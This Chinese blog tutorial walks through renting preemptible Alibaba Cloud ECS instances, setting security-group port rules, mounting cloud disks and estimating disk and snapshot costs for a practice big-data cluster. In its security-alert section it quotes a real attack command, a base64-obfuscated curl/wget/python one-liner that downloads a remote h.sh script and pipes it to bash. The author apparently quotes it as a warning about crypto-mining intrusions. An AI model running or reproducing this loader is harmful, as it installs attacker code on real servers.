[阿里云] 10分钟带你玩转阿里云ECS和云盘 (大数据上云必备)

这篇具有很好参考价值的文章主要介绍了[阿里云] 10分钟带你玩转阿里云ECS和云盘 (大数据上云必备)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

由于准备做一些离线计算和实时计算的模拟, 发现某些教程内的阿里云还挺好用的, 在这里把相关的经验分享给大家.

简单的心路历程: 起先笔者搭建了一套本地集群. 但是后来发现, 因为没用网络IP的反穿, 本地的集群的网络访问非常不便. 其次, 集群的启停, 网络和磁盘管理都非常麻烦, 并且, 很多时候, 集群只在尝试的那一段时间才会使用. 为此, 试用了阿里云的抢占式集群方式, 发现这种的使用, 非常适合学习和研究.

当然, 如果你拥有稳定的硬件资源, 你也完全可以使用本地集群. 此处只是给出一套使用方案. [因为大多数我们的机器都是16G, 32G. 并且并没有稳定的网络环境. 对于大数据集群, 动辄8G3 16G3的集群需求, 总是感觉捉襟见肘.]


阿里云机器购买 & 相关配置构建

前置条件: 阿里云预留100R的资金. [阿里云只有超过100R才能购买抢占式的实例].
  • 进入ECS控制台 随后创建实例
    ecs 阿里云盘,-------9.1. Linux,-------9.2. 阿里云产品,阿里云,大数据,云计算

  • 随后, 这里我们选择抢占式的实例. 这样他就是按时间收费.
    ecs 阿里云盘,-------9.1. Linux,-------9.2. 阿里云产品,阿里云,大数据,云计算

  • 选择相关的磁盘配置和系统配置ecs 阿里云盘,-------9.1. Linux,-------9.2. 阿里云产品,阿里云,大数据,云计算

  • 选择 无确定使用时长 (此处如果选择1小时, 可能某些情况, 有被自动释放的风险.)

  • 选择相应的需要机器的台数. (此处笔者选择3台)

  • 选择相应的系统. 这里推荐 CentOS 7.xUbuntu系统 , (如果有其他系统指定的需要, 肯定不需要我在这里废话) (笔者一般使用CentOS 7.6系统)

  • 选择磁盘. (注意, 我们初次部署圆盘的时候, 一定要把此处的非随实例释放, 进行勾选.)

  • 选择相应的带宽. 我们此处选择按量收费. (因为是学习使用, 访问外网的几率比较小. 此处可以按照各自的安排选择.)
    ecs 阿里云盘,-------9.1. Linux,-------9.2. 阿里云产品,阿里云,大数据,云计算

  • 配置相关的系统资源
    ecs 阿里云盘,-------9.1. Linux,-------9.2. 阿里云产品,阿里云,大数据,云计算

  • 设置相应的密码

  • 设置相应的主机名称. 此处如果一次购买多个机器的话, 他是可以设置某些名称的构建方法的. 按照手册设置相应的名称即可. (笔者这边设置为 hadoop[001,3]. 希望3台主机的名称为hadoop001, hadoop002, hadoop003.) (此处如果不会设置, 也可以不设置. )

通过 name_prefix[begin_number,bits]name_suffix 格式可给各个 ECS 实例设置不同的实例名。例如:my_name[99,3]ecs ,若创建 2 台实例最终生成的名称分别为:my_name099ecs、my_name100ecs,begin_number 取值区间为 [0,999999],bits 取值区间为 [1,6],查看详情>

  • 点击同意协议ecs 阿里云盘,-------9.1. Linux,-------9.2. 阿里云产品,阿里云,大数据,云计算
    最终, 你就可以花费0.25的价格, 暂时租借使用3台 2H8G的云主机了. 如果你的集群需要更高的内存或者CPU, 可以在初次购买或者购买后进行升降配操作.

  • 随后, 我们就可以在控制台列表上, 看见我们本次购买的3台机器.
    ecs 阿里云盘,-------9.1. Linux,-------9.2. 阿里云产品,阿里云,大数据,云计算
    比较值得注意的是. 我们每次购买机器时, 内网地址和外网地址都可能会变化的. (为此, 我本地就不打码了, heihei)


ECS机器相关配置

网络安全组

值得注意的是, 阿里云的每个机器的网络, 它只开放一些默认的端口号. 其余的端口号是默认不开放的. 如果想要设置, 可以前往此处设置. (比如你安装了一个mysql数据库, 那么就需要设置3306端口)
ecs 阿里云盘,-------9.1. Linux,-------9.2. 阿里云产品,阿里云,大数据,云计算
ecs 阿里云盘,-------9.1. Linux,-------9.2. 阿里云产品,阿里云,大数据,云计算
ecs 阿里云盘,-------9.1. Linux,-------9.2. 阿里云产品,阿里云,大数据,云计算

  • 另外. 值得一提的是. 如果你只是临时访问, 完全可以通过百度查询先查询出当前网络的外网ip. 随后设置在此处. 这样可以非常好的避免相关的网络攻击.
    ecs 阿里云盘,-------9.1. Linux,-------9.2. 阿里云产品,阿里云,大数据,云计算
    比如我查询到我本机的ip为123.123.123.123, 我只想开放22端口或者3306端口给这个ip的相关用户访问, 可以参照上述的配置进行配置.
相关IP攻击 & 告警

在使用的过程中. 我收到了阿里云的这样的提示短信, 提示有恶性攻击.
ecs 阿里云盘,-------9.1. Linux,-------9.2. 阿里云产品,阿里云,大数据,云计算
ecs 阿里云盘,-------9.1. Linux,-------9.2. 阿里云产品,阿里云,大数据,云计算

/bin/bash -c if type curl >/dev/null; then echo Y3VybCAtZnNTTCBodHRwOi8va2lcXHNcXHMuYS1kXFxvZy50XFxvXHAvYjJmNjI4L2guc2gK|base64 -d|bash|bash; fi;if type wget >/dev/null; then echo d2dldCAtcSAtTy0gIGh0dHA6Ly9raVxcc1xccy5hLWRcXG9nLnRcXG9ccC9iMmY2MjgvaC5zaAo=|base64 -d|bash|bash; fi;if type python >/dev/null;then echo cHl0aG9uIC1jICJpbXBvcnQgdXJsbGliMjsgcHJpbnQgdXJsbGliMi51cmxvcGVuKCdodHRwOi8va2lcXHNcXHMuYS1kXFxvZy50XFxvXHAvaC5zaCcpLnJlYWQoKSIgPi4xO2NobW9kICt4IC4xOy4vLjEK|base64 -d|bash; fi

此处curl命令后, 乍一看是一串乱码. 其实他是通过base64加密的. 之前有了机器被拉去挖矿的经验, 此处个人感觉端口的设置还是小心为上.

云盘的挂载

ecs 阿里云盘,-------9.1. Linux,-------9.2. 阿里云产品,阿里云,大数据,云计算
如果你第一次选择了, 停机磁盘不进行释放. (这样设置也是为了我们能快速构建环境, 虽然会花费一些钱, 但是比较推荐这样购买3块云盘.)

  • 可以看到, 选择云盘的界面有3块已经挂载的云盘. 这3块就是我们本次申请ECS机器附带的.
  • 还可以看到. 有3块未挂载的云盘. 此处3块云盘是我们之前购买的. 是没有挂载上的.

我们可以先进入机器内部进行查看. 比如我登录hadoop001的机器.

[root@hadoop001 ~]# ls
[root@hadoop001 ~]# df -h
Filesystem      Size  Used Avail Use% Mounted on
/dev/vda1        40G  1.7G   36G   5% /
devtmpfs        3.9G     0  3.9G   0% /dev
tmpfs           3.9G     0  3.9G   0% /dev/shm
tmpfs           3.9G  424K  3.9G   1% /run
tmpfs           3.9G     0  3.9G   0% /sys/fs/cgroup
tmpfs           783M     0  783M   0% /run/user/0
  • 可以看到此处100G的云盘是没有挂载的. 此时我们选择挂载云盘
    ecs 阿里云盘,-------9.1. Linux,-------9.2. 阿里云产品,阿里云,大数据,云计算
  • 选择需要挂载的机器. (此外, 个人建议. )
    ecs 阿里云盘,-------9.1. Linux,-------9.2. 阿里云产品,阿里云,大数据,云计算
    ecs 阿里云盘,-------9.1. Linux,-------9.2. 阿里云产品,阿里云,大数据,云计算

···
[root@hadoop001 /]# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/vdb1 99G 9.0G 86G 10% /
devtmpfs 3.9G 0 3.9G 0% /dev
tmpfs 3.9G 0 3.9G 0% /dev/shm
tmpfs 3.9G 444K 3.9G 1% /run
tmpfs 3.9G 0 3.9G 0% /sys/fs/cgroup
tmpfs 783M 0 783M 0% /run/user/0
[root@hadoop001 /]#
···

释放

ecs 阿里云盘,-------9.1. Linux,-------9.2. 阿里云产品,阿里云,大数据,云计算
ecs 阿里云盘,-------9.1. Linux,-------9.2. 阿里云产品,阿里云,大数据,云计算
比较值得注意的是. 释放的时候, 可以选择保留某些盘, 防止以后还需要进行重复操作.


设置本地host & 设置机器相关的免密

关于各个系统hosts的设置和SSH免密的配置可以见笔者的其他文章.


云盘 & 快照 & Ecs备份相关的收费计算

  • 云盘
    ecs 阿里云盘,-------9.1. Linux,-------9.2. 阿里云产品,阿里云,大数据,云计算
    我们使用的是高效云盘. 如果是40G3, 价格为 143=42R 如果是100G3, 价格为 353=105G.

关于云盘的使用. 我们主要需要注意的是1. 是否随实例释放. 2. 云盘的地址和区域. 此处会和挂载的服务器相关

https://www.aliyun.com/price/product?spm=a2c4g.11186623.0.0.23af62e4y2ebMe#/disk/detail/disk

  • 快照

阿里云的快照比较鸡肋. 只能对于某个云盘设置. 不过如果你的云盘很长时间都不需要使用, 可以将其打成快照, 随后释放云盘. 这样可以减少一定的开销. 阿里云的云盘还比较方便, 云盘会对内容进行压缩, 比如你云盘100G, 只使用了10G, 那么镜像的大小只有10G, 这会减少比较多的开销.

云盘的价格计算大致如下所示:

计费示例:假设杭州地域有100 GB快照,那么1小时0.016元,1天0.4元。0.43365=438.
公式:(0.12元/GB/月100 GB1月)➗30天➗24小时≈0.016元/小时。
https://help.aliyun.com/document_detail/56159.html?spm=5176.2020520101snapshot.usage.sizeRule.40b14df5aun6iw


Reference

[1]. [https://www.aliyun.com/] (https://www.aliyun.com/)文章来源地址https://www.toymoban.com/news/detail-787568.html

到了这里,关于[阿里云] 10分钟带你玩转阿里云ECS和云盘 (大数据上云必备)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 带你玩转数据结构-单链表(适合初学者的文章,讲解的很仔细哦)

    🎈个人主页:🎈 :✨✨✨初阶牛✨✨✨ 🐻推荐专栏: 🍔🍟🌯 C语言进阶 🔑个人信条: 🌵知行合一 🍉本篇简介::讲解数据结构中链表的知识,;链表的分类,c语言实现单链表常见接口等. 金句分享: ✨山不向我走来,我便向山走去.✨ 顺序表 缺点: 中间/头部的插入删除,时间复杂

    2024年02月03日
    浏览(25)
  • 【数据结构】带你玩转排序:堆排序、希尔排序、插入排序、选择排序、冒泡排序、快排(多版本)、归并排序

    英杰社区 https://bbs.csdn.net/topics/617804998 目录 常见算法的实现         插入排序         希尔排序         堆排序         选择排序         冒泡排序         快速排序         Hoare版本         随机选Keyi               三数取中         挖坑法  

    2024年02月08日
    浏览(40)
  • 带你玩转双链表

    相信经过前面的学习,大家已经了解的单链表的缺陷和用途,今天我们学习双链表,和以前不同,今天双链表的实现我们增加一点点的难度,但我相信这些难度对大家都没有问题。和之前单链表的实现,我们的数据类型是固定的,主函数中传什么我们的单链表结构体中就需要

    2024年02月13日
    浏览(22)
  • 带你玩转modbusTCP通信

    Modbus TCP是一种基于TCP/IP协议的Modbus通信协议,它是Modbus协议的一种变体,用于在以太网上进行通信。Modbus TCP协议是一种开放的通信协议,它支持多种编程语言和操作系统,并且可以在不同的硬件和软件平台上进行通信。 Modbus TCP协议使用标准的TCP/IP协议栈,通过以太网进行通

    2024年02月03日
    浏览(28)
  • 一文带你玩转ProtoBuf

    在网络通信和通用数据交换等应用场景中经常使用的技术是 JSON 或 XML,在微服务架构中通常使用另外一个数据交换的协议的工具ProtoBuf。 ProtoBuf也是我们做微服务开发,进行Go进阶实战中,必知必会的知道点。 今天就开始第一章内容:《一文带你玩转ProtoBuf》 你可能不知道

    2023年04月16日
    浏览(39)
  • 阿里云ECS云盘在线扩容

    1. 控制台进行云盘扩容 参考文档:https://help.aliyun.com/document_detail/25451.htm?spm=a2c4g.11186623.0.0.3dd44958U4LJVC#concept-rjc-l5h-ydb 2. 控制台进行云盘扩容 1. 云盘信息查看【 fdisk -lu;df -Th 】 对/dev/vdb1从100GB扩容到150GB 使用 fdisk -lu 命令查看磁盘情况。可以看到Disk /dev/vdb:150 GiB。 使用 df

    2024年02月01日
    浏览(29)
  • 带你玩转三子棋—【C语言】

    目录 前言: 1. 菜单的打印 2. game函数的实现 2.1 初始化棋盘 2.2 显示棋盘 2.3 玩家下棋 2.4 电脑下棋 2.5 判断输赢 2.6 判断棋盘是否满了 3. 全部代码 3.1 game.h 3.2  game.c 3.3 test.c 为了实现三子棋,首先我们应该将代码分模块编写,我们分为3个部分 1. test.c —测试游戏(主函数)2

    2024年02月04日
    浏览(25)
  • 带你玩转单向链表(学习必备)

    本篇文章主要介绍数据结构中 单向链表 各种操作,适合有 C语言基础 的同学,文中描述和代码示例很详细,干货满满,感兴趣的小伙伴快来一起学习吧! ☀️大家好!我是新人博主朦胧的雨梦,希望大家多多关照和支持😝😝😝 🌖大家一起努力,共同成长,相信我们都会

    2024年02月02日
    浏览(28)
  • 阿里云服务器ECS云盘扩容

    对于云服务器,相信大多数开发的铁子们都玩过,但是云盘爆满的情况,对于新手或者没有自己运营业务的铁子们,平台给的初始容量也不算小,所以这种情况碰到的概率还是比较小。由于我的服务器应用的复杂度随着业务的发展逐渐增加,今天磁盘满了,导致几个服务直接

    2024年02月06日
    浏览(46)
  • 一文带你玩转C语言文件操作

    作者主页:  paper jie的博客_CSDN博客 本文作者: 大家好,我是paper jie,感谢你阅读本文,欢迎一建三连哦。 本文录入于 《系统解析C语言》专栏,本专栏是针对于大学生,编程小白精心打造的。笔者用重金(时间和精力)打造,将算法基础知识一网打尽,希望可以帮到读者们哦

    2024年02月17日
    浏览(44)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包